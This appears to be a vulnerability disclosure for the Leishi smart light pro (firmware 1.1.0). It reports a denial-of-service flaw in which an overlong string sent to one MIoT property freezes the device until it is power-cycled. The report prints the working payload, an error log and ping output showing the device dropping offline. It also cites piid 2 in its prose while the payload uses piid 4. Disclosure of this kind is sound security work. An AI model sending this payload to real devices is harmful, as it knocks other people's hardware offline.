Vendor: Leishi

Device: Leishi smart light pro (*leishi.light.wy0a10*)

Firmware Version: 1.1.0 (up to date)

****NOTE****: The device only uses Xiaomi Mi Home's MIoT protocol. The vulnerability is neither due to the Xiaomi Mi Home App nor Xiaomi's protocol, but rather to the device manufacturer's incorrect handling of the incoming MIoT protocol data. Therefore, this vulnerability is not within the scope of Xiaomi's CNA.

When a connection is established with the device using the Xiaomi Mi Home App, the device will enter offline mode when a specific command is sent to it (Fig.1).

The device freezes completely, rendering unresponsive until manually powered off and restarted, as shown in the attached Fig. 2 (demonstrating loss of ping responsiveness from another local network device). This behavior can be exploited repeatedly to cause ongoing disruptions, constituting a DoS attack.

Raw command:

```
{'did': '731560964', 'siid': 9, 'piid': 4, 'value':
'BBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}
```

According to the device's MIoT documentation, the parameters siid: 9 and piid: 2 accept a string for controlling the light mode. The issue likely stems from inadequate validation of the string length, resulting in a buffer overflow or similar memory corruption.

```
xiaomi_miot.core.device.leishi.light.wy0a10] Set miot property {'did': '731560964', 'si
id': 9, 'piid': 4, 'value': 'BBBBBBBBBBBBBBBBBBBBBAVVCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'} failed, re
sult: failed: Unable to discover the device 192.168.0.46
```

Fig. 1 Plaintext of the command that can trigger the device exception

```
64 bytes from 192.168.0.46: icmp_seq=28 ttl=64 time=8.497 ms
64 bytes from 192.168.0.46: icmp_seq=29 ttl=64 time=8.951 ms
Request timeout for icmp_seq 30
Request timeout for icmp_seq 31
Request timeout for icmp_seq 32
Request timeout for icmp_seq 33
Request timeout for icmp_seq 34
Request timeout for icmp_seq 35
Request timeout for icmp_seq 36
Request timeout for icmp_seq 37
```

Fig. 2 Device temporary went offline and another device in the local network is unable to ping it.